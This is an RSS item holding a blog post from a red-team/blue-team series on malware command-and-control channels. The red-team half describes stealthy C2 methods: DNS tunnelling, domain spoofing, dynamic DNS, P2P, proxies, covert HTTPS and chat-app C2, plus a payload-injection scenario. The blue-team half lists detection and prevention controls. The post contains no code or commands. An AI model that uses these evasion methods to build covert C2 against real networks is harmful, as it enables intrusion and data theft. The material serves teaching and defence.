            <pubDate>Sun, 03 May 2020 17:52:48 GMT</pubDate>
            <atom:updated>2020-05-04T14:29:05.440Z</atom:updated>
            <content:encoded><![CDATA[<p>Command and Control is a key role to most of the attackers because there are heavy chances this tactic can be detected/flagged If network rules are configured intellectually by NIDS tools and Incident handling team and once it was identified the C2C Channel will be completely blocked. After establishing persistence on the target system or network, to provide further instructions to compromised system or to modify their attack objectives and methods or to evade any new security countermeasures that the organization may attempt to deploy if attack artifacts are discovered. Communication is essential by means of a remote shell or automated C2C channel (which is common in DDoS attacks). let’s understand how C2 works. After the malware is installed, the malware will call out to the C2 server and wait for its next command. It is usually going to send out a beacon on a time basis to let the server know it is still alive and to see if there is anything it should do. When the server is ready, it will issue its command to execute on the infected host machine.</p><h3><strong>Red Team: Attack vectors and Techniques:</strong></h3><p>Upon execution, the malicious code sends a beacon out to the C&amp;C servers to look for its next instruction set. Most malware is pre-programmed with an autonomous command to attempt to set up a communications channel that originates from the target machine, the malicious code can contain hundreds of fully qualified domain names and IP addresses that the malware will cycle through as it beacons out to the command-and-control network. If the target’s network has liberal outbound or egress firewall rules, the malware will establish a communication channel with the C&amp;C server.</p><p>Command and Control attacks can compromise an entire network. In order to make your C2C successful you need to understand the network structure and Defenses of target whether which NIDS they are using of:</p><p>a) Signature based NIDS/NIPS — Detects if they have known signatures of malware communication indicators</p><p>b) Traffic Anomaly based NIDS/NIPS -Collect and analyse network traffic to identify activity that deviates from the expected, normal traffic profile of the monitored network. Therefore C&amp;C traffic must be resilient and stealthy for an attack to succeed. For example, C&amp;C traffic can occur through pages and images on Online Social Networks (OSNs), covert DNS traffic, and networks for anonymous communication, such as Tor.</p><p><strong>Common C2C Communication Mechanisms:</strong></p><p>1) Common Types — Bind Shell/Reverse Shell/Web Shell</p><p>2) Standard Protocols — HTTP/HTTPS, DNS, SMTP, SSH, ICMP, Telnet, SMB, FTP, IRC, Torrent</p><p>3) Various Techniques — Encryption, Circumvention [TOR(The Onion Router) &amp; I2P(Invisible Internet Project)], Port Evasion, Fast Flux (Dynamic DNS)</p><p><strong><em>“Here I will share my views which I can be able to make you understand”</em></strong></p><p><strong><em>a) IRC -Based C&amp;C Channels</em></strong> which use a push-based model, where the bot-master pushes new commands to the botnet which then responds directly to the commands.</p><p><strong><em>b) Spoofing legit domain names</em></strong> — To make C2C fail to catch from NIDS/NIPS/Blue Team, make sure that the malicious traffic blends into a regular one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*ZWcSAANru-Oa1J7PIoSAQw.png" /><figcaption>Domain spoofed by various APT groups</figcaption></figure><p><strong>c) <em>Hiding C&amp;C location</em></strong> — Dynamic DNS services such as NoIP, DynDNS provides anonymity for attackers as no legitimate contact detailed are needed for domain registration.</p><p>Additionally, domain name and IP mappings can be quickly changed in case the initial IP gets blocked on the target’s infrastructure. This is possible due to short caching (TTL) values associated with such domains.</p><blockquote><strong>No-IP: </strong>The No-IP Free Dynamic DNS service takes your dynamic IP address and makes it act as though it is static by pointing a static hostname to it and checking every 5 minutes for changes to your IP address. We were using this method to access our hostel camera during my graduation but never thought this can be used as C2C…LoL🙄</blockquote><p><strong><em>d) P2P </em></strong>— Peer-to-peer communication is used to proxy commands or to locate a C&amp;C server. It’s a distributed virtual network of participants that connect to each other instead of a central server. This makes tracking, blocking more difficult. A peer-to-peer network means that both “servers” and “hosts” are the same within the network, making identifying the actual source of the commands more difficult. The actual C&amp;C servers would appear to be another peer of an infected botnet and could spread new information to other peers.</p><p><strong><em>Eg: </em></strong><em>Emotet</em></p><p><strong><em>e) C&amp;C Proxies:</em></strong> APT groups commonly use intermediate servers(proxies) to increase stealth and for not exposing their C2C. In case of one server’s take-down, the communication between malware and C&amp;C is restored over another chain. Redirecting of traffic is needed to achieve this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*MrOYfu3QFhIUIMmNchJlKw.png" /><figcaption>Proxyfied APT Infrastructure</figcaption></figure><p><strong><em>f) Coverting HTTP/HTTPS:</em> </strong>In order to mask communications crossing the target’s network perimeter APT groups often implement covert channels. These channels are often encrypted in order to hide the contents of the communications. While there are many ways to establish malicious C&amp;C channels, ports 80 and 443 are usually used since only these ports are allowed for outgoing connections in properly secured corporate environments or governmental institutions.</p><p>Depending on the actual C&amp;C and malware implementation, the communication which is being transmitted over HTTP/HTTPS ports can be a legit HTTP protocol or a binary communication. Additionally, malware might be connecting via proxies in order to mask the real location of the C&amp;C server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*syeikcFHcQ_Li8cHc7_HUg.png" /><figcaption><em>Covert C&amp;C channels over ports 80 and 443</em></figcaption></figure><p><strong><em>G) C&amp;C via DNS:</em> </strong>Before directly moving to how DNS Tunneling works, lets breakdown the Jordan it has</p><blockquote><strong>TXT Record</strong> -is a type of resource <strong>record</strong> in the Domain Name System (DNS) used to provide the ability to associate arbitrary text with a host or other name, such as human readable information about a server, network, data center, or other accounting information.</blockquote><blockquote><strong>CNAME RECORD</strong> — is a record that points to another domain address rather than an IP address. For example, say you have several subdomains, like <a href="http://www.mydomain.com/">www.mydomain.com</a>, ftp.mydomain.com, mail.mydomain.com etc and you want these sub domains to point to your main domain name mydomain.com.</blockquote><blockquote><strong>A RECORD</strong> — A <strong>record</strong> is used to find the IP address of a domain name.</blockquote><blockquote><strong>NS Record</strong> — The NS record will tell a top-level domain DNS server which nameserver holds the domain’s A record, MX record, etc.</blockquote><blockquote><strong>Authoritative name server</strong> — An authoritative name server provides actual answer to your DNS queries such as — mail server IP address or web site IP address (A resource record).</blockquote><blockquote>A <strong>recursive</strong> DNS lookup is where one <strong>DNS server</strong> communicates with several other <strong>DNS servers</strong> to hunt down an IP address and return it to the client.</blockquote><p>Web browsing and most other communication from local computers to the Internet relies on the DNS service. For that reason, restricting the DNS communication can cause disruption of legitimate connectivity. Attacker takes this advantage to employ DNS tunneling as covert communication channel for C&amp;C server. Therefore, DNS protocol is always allowed to outbound/inbound in Firewall. And attacker takes this advantage to employ DNS tunneling as covert communication channel for C&amp;C server. It’s very hard to differentiate the benign and malicious usage of DNS protocol for the traditional Firewall or IDS.</p><p><strong><em>Eg: </em></strong>DNSCat2 provides great features for C2.</p><p>DNS Tunneling program (or malware) encodes the payload data within DNS Query packet by using base64 encoding scheme then transmits the payload data as DNS Query to the server. Payload data is prepended as the hostname of a DNS Query. The server responds the query with its base64 encoded payload data in DNS Response packet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LLH_q4qY6FoQe8_wfm8x9A.png" /></figure><blockquote><strong><em>Understanding Oilrig malware:</em> </strong>Started with phishing emails &amp; had malware embedded in it, That was dropper that installed extra stuff, some of the extra Stuff had tasks in it that used DNS as C&amp;C and Data Exfiltration &amp; infiltration n/w and it is really smart that it had 3 different C2 channels</blockquote><blockquote>1. DNS A record</blockquote><blockquote>2. DNS TXT</blockquote><blockquote>3. Custom UDP on port 53 (manually crafted packet)</blockquote><p><strong><em>Eg</em></strong><em>: </em>Botnets like Zues, BetaBot had built intelligence C&amp;C.</p><p>Skynet is a moderately-sized ( ̃12000 machines) botnet based upon the Zeus family of malware. The interesting thing (apart from the usage of Tor) about Skynet is that its operator hosted an (Q&amp;A) platform Reddit.</p><p>Another further development that is beginning to appear in the wild is the use of the <strong><em>Namecoin</em></strong> service. Namecoin is related to Bitcoin, and provides a decentralised method to register and control domain names. Domains that belong to the Namecoin service use the “.bit” top-level domain. The advantage to a malicious user is that is provides the means to anonymously purchase a domain outside the control of any international body, and it is expected that it will become more widespread.</p><h4><em>Let’s consider a </em><strong><em>TTP in an EDR environment,</em></strong><em> wherein the client changes the code of an application for improvements and rather asking his security team every time to allow it, he gets permitted not to strengthen the security policies on his system, So if an Fileless malware attack happens on his machine and finally attacker understand victim application making connections to certain Domain/IP, Then attacker adds malicious payload(hooking/Process injection) in the client application in such a way that the victim work will not be disturbed and payload will connect to C2C. Thereafter attacker to circumvent his IP/Domain, mimics the legit domain or makes communication through the proxy or establishes a P2P communication or coverting communication through standard protocols. It will be tough or takes long time even for blue teamers to identify such attacks reason is they could not be able to view the content because of SLL/TLS</em></h4><p><em>How many of you seen MoneyHiest series where professor implements similar technologies like Proxies and P2P for communicating which was even shown hard for NIA to identify the source.</em></p><p>Communication channels such as <a href="https://www.coalfire.com/The-Coalfire-Blog/June-2019/Introducing-Slackor">Slackor</a> for Slack C2, <a href="https://crawl3r.github.io/2020-01-25/DaaC2">DaaC2</a> for Discord C2 or gCat that uses Gmail as C2 or Callidus as C2 for Office 365 Services or <a href="https://attack.mitre.org/techniques/T1172/">Domain Fronting</a> techniques etc even hard for Blue teamers to identify.</p><h3><strong>BLUE TEAM: Detective and Preventive Controls</strong></h3><p>A variety of techniques for the detection and disruption of C&amp;C channels have been proposed. They typically rely on the automated monitoring and analysis of network traffic to identify indicators of compromise, malicious traffic, or anomalous communication patterns. The importance of human involvement in this activity cannot be overstated. As attackers constantly adapt their strategies, it is critical to gain a thorough understanding of the traffic flow patterns followed by manual tuning of monitoring, detection, and response infrastructure at periodic intervals.</p><p>The following is a checklist of measures that help detecting and denying C&amp;C in your organisation.</p><p><strong>Network Level:</strong></p><p><strong>1) Detect Known-bad network activity</strong><em>:</em> Collect and analyse network traffic to identify activity that is known to be caused by an active C2 channel.</p><p><strong><em>1a)</em> <em>Monitor DNS Traffic </em></strong>— This measure involves collection of DNS traffic information (either through a passive DNS collector or via the nameservers logs) and matching of requests against one or more blacklists of malicious domain names.</p><p><strong><em>1b) Monitor IP traffic </em></strong>— To identify internal devices that attempt to connect to end points that are known to be involved in C2 activity.</p><p><strong><em>1c)</em></strong> <strong><em>Monitor traffic content</em></strong> to identify content that matches known C2 traffic (e.g., specific network request/responses signatures). This measure involves collection of full traffic content (for example, enabling a network sniffer) and matching of the collected data against traffic signatures.</p><p>These measures enable the detection of C2 channels that are set up by known malware families, leverage known infrastructure, or employ known communication techniques.</p><p>2) <strong>Detect anomalous network activity:</strong> Collect and analyse network traffic to identify activity that deviates from the expected, normal traffic profile of the monitored network.</p><p>2a)<strong><em> Establish traffic baselines</em></strong> to determine the “normal” profile of the network (normal communication patterns, data exchange volumes, etc.). This measure can be implemented by determining baselines for different time windows (e.g., hour, day), internal devices, and network services.</p><p>2b) <strong><em>Evaluate current network activity</em></strong> against the established baselines to identify deviations that may be indicative of C2 activity. Pay particular attention to anomalies such as periodic beaconing, surge in the amount of exchanged traffic, suspicious network behaviours.</p><p>For example, C2 activity that relies on fast-flux techniques can be detected by searching DNS data for patterns of fast-changing associations between domain names and IP addresses; Dynamic DGA-based(Domain Generation Algorithm) C2 activity is revealed in DNS data by use-and-discard patterns of domain names; data exfiltration may be detected in Net-Flow data by unusually large volumes of data exchanges.</p><p>These measures enable the detection of C2 channels that are set up by never-seen-before malware families and that do not re-use any known malicious infrastructure.</p><p><strong>3) Deny C2 activity: </strong>Architect and operate the network in such a way that C2 activity is effectively denied or greatly impaired.</p><p><strong><em>3a)</em></strong> <strong><em>Segment the network</em></strong> to separate devices with different trust and risk values (e.g., front-facing, publicly servers vs. internal hosts storing sensitive documents).</p><p><strong><em>3b)</em></strong> <strong><em>Introduce rate-limit policies</em></strong> to slow down traffic directed to disreputable or un- trusted endpoints.</p><p><strong><em>3c)</em></strong> <strong><em>Block unwanted or unused communications mechanisms</em></strong> that may be used to piggy back C2 activity (e.g., anonymization networks, P2P overlays, social net- works)</p><p><strong>4) Implementing DNS Sink hole: </strong>DNS Sink hole is a technology to block communication to malicious websites from internal systems. When a user system tries to resolve a malicious website ,the DNS sinkhole server will responds with a fake IP address instead of the original IP address. The fake IP will be a Private IP address therefore the malware will not be able to connect back to the C&amp;C server.</p><p><strong>5.Web Filtering</strong> (github)</p><p><strong>Endpoint Level:</strong></p><p><strong><em>1. Purchase Threat Detection &amp; Prevention tools —</em></strong> Installing A.V tools mitigates the chance of machine getting compromised and if unfortunately happens, atleast it will detect so that we can perform necessary actions to remediate.</p><p><strong><em>2. Implementing Secure Group Policies </em></strong>like a) Disallow Removable Media b)Restrict Software Installations c) Follow the principle of least privilege d) Control Access to CMD e) Disable Guest Account f) Password length g)Password age limit h) Disabling Anonymous SID Enumeration in A.D h) Moderating access to control panel, I just mentioned few but there are many policies an organization can implement.</p><p><strong><em>3. Installing security patches</em></strong> (Microsoft release the security patches once in every month &amp; core security patches of any 0-day exploits ASAP)</p><p><strong><em>4. Configuring AppLocker</em></strong> and Whitelisting and blacklisting applications based on organization dependency.</p><p><strong><em>5. Implementing SIEM</em></strong> in an organization and integrating with other threat detection sources and monitoring those alerts. (If possible configure sysmon to SIEM)</p><p><strong>Process level:</strong></p><p>1. Preparation is the effective key in identifying &amp; responding. Training end users at regular intervals and providing awareness on cyberattacks can help the organization against cyberattacks.</p><p>2. Train staff on the latest security threat and security tools.</p><p>3. Use a separate domain user and server admin accounts.</p><p><a href="https://medium.com/redteam-blueteam-series/maintain-local-persistence-6624c31e8b2c"><em>Previous episode — Maintain local persistence &amp; it’s defenses</em></a></p><p><a href="https://medium.com/redteam-blueteam-series/escalate-local-privileges-f11987baaada"><em>Next episode — Escalate local privileges</em></a></p><p><strong><em>Bibliography</em></strong></p><p><a href="https://blog.dnsimple.com/2015/03/whats-in-a-dns-response/">What&#39;s in a DNS response?</a></p><p><a href="https://www.linkedin.com/pulse/cc-communication-detection-using-dns-sinkhole-safeer-muhammed">https://www.linkedin.com/pulse/cc-communication-detection-using-dns-sinkhole-safeer-muhamme</a>d</p><ul><li><a href="https://hackersterminal.com/dns-tunneling/">How DNS Tunneling Works as C&amp;C Communication Channel for Botnet - hackersterminal.com</a></li><li><a href="https://azeria-labs.com/command-and-control/">Command and Control</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1e357ac0f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/redteam-blueteam-series/obtain-c-c-channel-b1e357ac0f">Obtain C&amp;C Channel</a> was originally published in <a href="https://medium.com/redteam-blueteam-series">Redteam &amp; Blueteam Series</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>